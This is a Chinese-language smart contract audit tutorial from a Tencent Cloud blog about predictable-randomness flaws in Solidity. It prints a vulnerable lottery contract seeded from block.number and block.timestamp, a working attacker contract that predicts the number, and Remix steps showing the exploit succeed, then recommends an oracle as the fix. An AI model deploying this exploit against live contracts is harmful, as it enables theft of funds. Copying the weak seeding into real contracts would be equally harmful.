前往小程序,Get更优阅读体验!
立即前往
首页
学习
活动
专区
工具
TVP
发布
社区首页 >专栏 >智能合约安全审计之路-随机误用漏洞

智能合约安全审计之路-随机误用漏洞

作者头像
字节脉搏实验室
发布2020-04-21 16:17:25
1K0
发布2020-04-21 16:17:25
举报

描叙:

智能合约开发中,在程序中使用随机数较好的伪随机数是很难的。很多看似无法被预言的随机数种子或变量,实际被预言的难度很低。

核心问题:一旦在智能合约中使用了随机性很差的随机数作为关键变量,就面临着随机数被预言的攻击风险。

一些概念

智能合约常用的随机数计算方式

keccak256(seed)

常用seed的选取:
  • 私有变量
  • 区块有关状态block.something
  • msg.sender
  • 上述数据的哈希或者运算组合
常用的区块属性
  • block.blockhash
  • block.coinbase
  • block.difficulty
  • block.gaslimit
  • block.number
  • block.timestamp 使用区块相关属性作为随机数种子,是一种常见但是非常不安全的方式,其不安全在于,这些数据对于同一个transaction中的合约调用是可预测的。

msg.sender随机预测

  • 使用msg.sender做为随机数种子的安全风险在于,该数据是用户可控的。若随机数种子一旦可以被攻击者选择或控制,就会使随机数面临被预测的风险。

https://vanity-eth.tk 生成特定的地址

漏洞合约分析

代码语言:javascript
复制
pragma solidity ^0.4.24;
 
contract RandomGame{
    mapping (address => uint256) public balances;
     
    event LuckyLog(uint lucky_number, uint guess);
 
    function lucky(uint256 guess) public returns(uint256){
        uint256 seed = uint256(keccak256(abi.encodePacked(block.number)))+uint256(keccak256(abi.encodePacked(block.timestamp)));
        uint256 lucky_number = uint256(keccak256(abi.encodePacked(seed))) % 100;
        if(lucky_number == guess){
            balances[msg.sender] += 1000;
        }
        emit LuckyLog(lucky_number,guess);
        return lucky_number;
    }
}

漏洞点:使用了不安全的block.number做为随机数的种子,导致随机数可以被预测,攻击者可以在合约中进行预测,造成一定损失。

攻击者合约

代码语言:javascript
复制
pragma solidity ^0.4.24;
 
contract RandomGame{
    mapping (address => uint256) public balances;
     
    event LuckyLog(uint lucky_number, uint guess);
 
    function lucky(uint256 guess) public returns(uint256){
        uint256 seed = uint256(keccak256(abi.encodePacked(block.number)))+uint256(keccak256(abi.encodePacked(block.timestamp)));
        uint256 lucky_number = uint256(keccak256(abi.encodePacked(seed))) % 100;
        if(lucky_number == guess){
            balances[msg.sender] += 1000;
        }
        emit LuckyLog(lucky_number,guess);
        return lucky_number;
    }
}
 
contract AttackRandom{
    RandomGame rg;
     
    function setTarget(address _addr) public {
        rg=RandomGame(_addr);
    }
     
    function attack() public returns(uint256){
        uint256 seed = uint256(keccak256(abi.encodePacked(block.number)))+uint256(keccak256(abi.encodePacked(block.timestamp)));
        uint256 lucky_number = uint256(keccak256(abi.encodePacked(seed))) % 100;
        rg.lucky(lucky_number);
        return lucky_number;
    }
}

使用Remix进行进行调试

  • 首先对合约进行编译(Current version设置为0.4.24,Auto compile,Enable Optimization全部勾上。编译完成后会出现2个合约分别为RandomGame、AttackRandom部署
  • 将AttackRandom合约中setTarget设置为RandomGame合约地址(0xdc0…46222)
  • 点击attack发起攻击,然后在RandomGame合约中balances中输入攻击者合约地址(0x8c1…401f5),查询余额,发现为1000 wei ETH,实验成功。

漏洞预防

使用Oraclize提供的一个合约接口库,可以通过链下off-chain的数据流推送data-feed来提供与链状态无关的随机数

本文参与 腾讯云自媒体分享计划,分享自微信公众号。
原始发表:2020-04-17,如有侵权请联系 cloudcommunity@tencent.com 删除

本文分享自 字节脉搏实验室 微信公众号,前往查看

如有侵权,请联系 cloudcommunity@tencent.com 删除。

本文参与 腾讯云自媒体分享计划  ,欢迎热爱写作的你一起参与!

评论
登录后参与评论
0 条评论
热度
最新
推荐阅读
目录
  • 一些概念
    • msg.sender随机预测
    • 漏洞合约分析
    • 攻击者合约
    • 使用Remix进行进行调试
    • 漏洞预防
    相关产品与服务
    区块链
    云链聚未来,协同无边界。腾讯云区块链作为中国领先的区块链服务平台和技术提供商,致力于构建技术、数据、价值、产业互联互通的区块链基础设施,引领区块链底层技术及行业应用创新,助力传统产业转型升级,推动实体经济与数字经济深度融合。
    领券
    问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档